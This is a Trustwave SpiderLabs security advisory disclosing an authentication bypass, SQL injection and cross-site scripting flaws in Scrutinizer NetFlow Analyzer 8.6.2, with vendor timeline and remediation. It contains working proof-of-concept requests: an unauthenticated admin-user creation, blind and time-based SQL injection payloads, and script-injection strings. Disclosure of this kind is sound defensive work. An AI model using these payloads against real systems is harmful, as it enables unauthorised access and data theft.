Trustwave SpiderLabs Security Advisory TWSL2012-008:
Multiple Vulnerabilities in Scrutinizer NetFlow & sFlow Analyzer

https://www.trustwave.com/spiderlabs/advisories/TWSL2012-008.txt

Published: 04/11/12
Version: 1.0

Vendor: Plixer International (http://www.plixer.com)
Product: Scrutinizer NetFlow and sFlow Analyzer
Version affected:  8.6.2 (8.6.2.16204) confirmed; others may be vulnerable

Product description:
Network analysis tool for monitoring the overall network health and reports
on which hosts, applications, protocols, etc. that are consuming network
bandwidth.

Credit: Tanya Secker of Trustwave SpiderLabs

Finding 1: HTTP Authentication Bypass Vulnerability
CVE: CVE-2012-1258

The Scrutinizer web console provides a form-based login facility, requiring
users to authenticate to gain access to further functionality. A tiered
user access model is also used, where administrative and standard users
have a different selection of permissible functions. Authentication and
authorization is controlled by the cookie-based session management system.
Although this is implemented in a standardized way, the session tokens are
not required to perform privileged functions, such as adding users.

Example:

This request will add a user named "trustwave" with the password of
"trustwave" to the administrative user group.

#Request
GET /cgi-bin/userprefs.cgi?newUser=trustwave&pwd=trustwave&selectedUserGroup=1&= HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 ( .NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
#Response
HTTP/1.1 200 OK
Date: Thu, 17 Nov 2011 10:19:25 GMT
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 19

{"new_user_id":"9"}


Finding 2: SQL Injection
CVE: CVE-2012-1259

The Scrutinizer web console is prone to unauthenticated SQL Injection
attacks due to user input not being appropriately validated and passed
directly to the backend.  An attacker could exploit this vulnerability to
attempt to gain access to sensitive information within the database or to
perform other attacks on the system.

Example 1:

These requests/responses below show a blind SQL injection vector, where a
proof of concept is used to return a syntactically correct response from
the server (200 OK) followed by an incorrect one (500 Internal Server
Error).

#Request 1
GET /cgi-bin/scrut_fa_exclusions.cgi?name%3anew28%3a28=on&name%3anew7%3a7=on&name%3anew27%3a27=on&name%3anew13%3a13=on&standalone=&name%3anew5%3a5=on&name%3anew14%3a14=on&name%3anew9%3a9=on&user_id=&name%3anew23%3a23=on&name%3anew17%3a17=on&name%3anew11%3a11=on&name%3anew24%3a24=on&addip=')%20AND%20('a'='a&name%3anew18%3a18=on&name%3anew21%3a21=on&name%3anew19%3a19=on&name%3anew22%3a22=on&nbaupdate=1&name%3anew12%3a12=on&name%3anew25%3a25=on&name%3anew2%3a2=on&name%3anew1%3a1=on&name%3anew10%3a10=on&name%3anew15%3a15=on&name%3anew26%3a26=on&name%3anew4%3a4=on&name%3anew6%3a6=on HTTP/1.1
Host: 127.0.0.1
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://127.0.0.1/cgi-bin/scrut_fa_exclusions.cgi

#Response 1
HTTP/1.1 200 OK
Date: Tue, 31 Jan 2012 23:51:46 GMT
Server: Apache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 230

#Request 2
GET /cgi-bin/scrut_fa_exclusions.cgi?name%3anew28%3a28=on&name%3anew7%3a7=on&name%3anew27%3a27=on&name%3anew13%3a13=on&standalone=&name%3anew5%3a5=on&name%3anew14%3a14=on&name%3anew9%3a9=on&user_id=&name%3anew23%3a23=on&name%3anew17%3a17=on&name%3anew11%3a11=on&name%3anew24%3a24=on&addip=')%20ANffD%20('a'='a&name%3anew18%3a18=on&name%3anew21%3a21=on&name%3anew19%3a19=on&name%3anew22%3a22=on&nbaupdate=1&name%3anew12%3a12=on&name%3anew25%3a25=on&name%3anew2%3a2=on&name%3anew1%3a1=on&name%3anew10%3a10=on&name%3anew15%3a15=on&name%3anew26%3a26=on&name%3anew4%3a4=on&name%3anew6%3a6=on HTTP/1.1
Host: 127.0.0.1
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://127.0.0.1/cgi-bin/scrut_fa_exclusions.cgi

#Response 2
HTTP/1.1 500 Internal Server Error
Date: Tue, 31 Jan 2012 23:52:18 GMT
Server: Apache
Last-Modified: Fri, 17 Dec 2010 02:01:03 GMT
ETag: "900000001d93e-448-497918ae295c0"
Accept-Ranges: bytes
Content-Length: 1096
Vary: Accept-Encoding
Connection: close
Content-Type: text/html

Example 2:

The "getPermissionsAndPreferences" variable within the following request is
also vulnerable to a blind time-based attack.  The example payload included
will result in the server taking a delay of approximately five seconds
before returning a response.

#Request
http://127.0.0.1/cgi-bin/login.cgi?getPermissionsAndPreferences=1%20AND%20SLEEP(5)&session_id=OyAOiECuFdtRbEBY&nocache=12_13_12_734

Example 3:

It should be noted that the other area referenced below returns SQL errors
when a comment character is introduced into the bolded parameters and may
therefore also indicate that they are vulnerable to SQL injection.  The
below request demonstrates this activity.

#Request
http://127.0.0.1/d4d/alarms.php?loadAlarms=1&user_id=1&step=10&page=0&search_str=test&column=msg&fa_algorithm=all&order=modified_ts


Finding 3: Persistent Cross-site Scripting
CVE: CVE-2012-1260

The Scrutinizer web console stores unmodified user-supplied parameters
within its database.  No input validation or character encoding is
performed, resulting in the possibility of client-supplied variables
forming aspects of page content in such a way as to affect the syntax of
the HTML content.

Example:

The below requests/response demonstrate how an attacker could use this to
implant arbitrary Javascript via the "newUser" parameter.

#Request 1
GET /cgi-bin/userprefs.cgi?newUser=%22%3E%3Cscript%3Ealert(1)%3C/script%3E&pwd=guest2&selectedUserGroup=1&= HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 ( .NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Content-Length: 6

Accessing the "Admin" Panel using the below URL results in the stored
JavaScript executing in the browser. It is noted that due to the previous
flaw documented above this may also be executed unauthenticated and results
in the disclosure of all user group names and IDs, along with all usernames
and userids stored in the application. This is achieved via the following
URL:

#Request 2
http://127.0.0.1/cgi-bin/userprefs.cgi?menu=1&nocache=5_26_33_895

#Response 2
HTTP/1.1 200 OK
Date: Thu, 17 Nov 2011 10:40:34 GMT
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 276

{"groups":[{"name":"<script>alert(2)</script>","id":"4"},{"name":"<script>alert(document.cookie)</script>","id":"3"},{"name":"Administrators","id":"1"},{"name":"Guests","id":"2"}],"users":[{"name":"\"><script>alert(1)</script>","user_id":"12"},{"name":"admin","user_id":"1"}]}


Finding 4: Reflected Cross-site Scripting
CVE: CVE-2012-1261

The Scrutinizer web console suffers from a Cross Site Scripting
vulnerability in the 'standalone' variable of the
'cgi-bin/scrut_fa_exclusions.cgi' page.  No input validation or character
encoding is performed, resulting in the possibility of client-supplied
variables forming aspects of page content in such a way as to affect the
syntax of the HTML content.

Example:

The below request demonstrates the reflective cross-site scripting
vulnerability by supplying arbitrary JavaScript to the standalone variable.

#Request
GET /cgi-bin/scrut_fa_exclusions.cgi?init=1&standalone="><script>alert('xss')</script> HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 ( .NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/cgi-bin/myview.cgi?init=1
Content-Length: 4

Note: Only one example of each vulnerability is provided but the problem is
categorized as "systemic" due to the potential to store or render script
code within multiple similar regions, such as in user group and alarm
areas, respectively.


Vendor Response:
The vendor has declined to comment on these findings. These issues appear
to have been fixed in version 9.0.1.

Remediation Steps:
Plixer International appeared to address all issues in version 9.0.1
(9.0.1.19899).  It is strongly recommended that the latest stable
version is installed.

Additionally, Trustwave SpiderLabs has added rules to the ModSecurity
Commercial Rules Feed for these issues, and Trustwave's vulnerability
scanning solution, TrustKeeper, has been updated to detect all findings.

References
1. http://www.plixer.com
2. http://blog.spiderlabs.com

Vendor Communication Timeline:
2/15/12: Attempted to contact vendor regarding vulnerability
Repeated attempts throughout February and March without response
04/11/12 - Released after confirming fix in version 9.0.1 (9.0.1.19899)

About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based
information security and payment card industry compliance management
solutions to businesses and government entities throughout the world. For
organizations faced with today's challenging data security and compliance
environment, Trustwave provides a unique approach with comprehensive
solutions that include its flagship TrustKeeper compliance management
software and other proprietary security solutions. Trustwave has helped
thousands of organizations--ranging from Fortune 500 businesses and large
financial institutions to small and medium-sized retailers--manage
compliance and secure their network infrastructure, data communications and
critical information assets. Trustwave is headquartered in Chicago with
offices throughout North America, South America, Europe, Africa, China and
Australia. For more information, visit https://www.trustwave.com

About Trustwave SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

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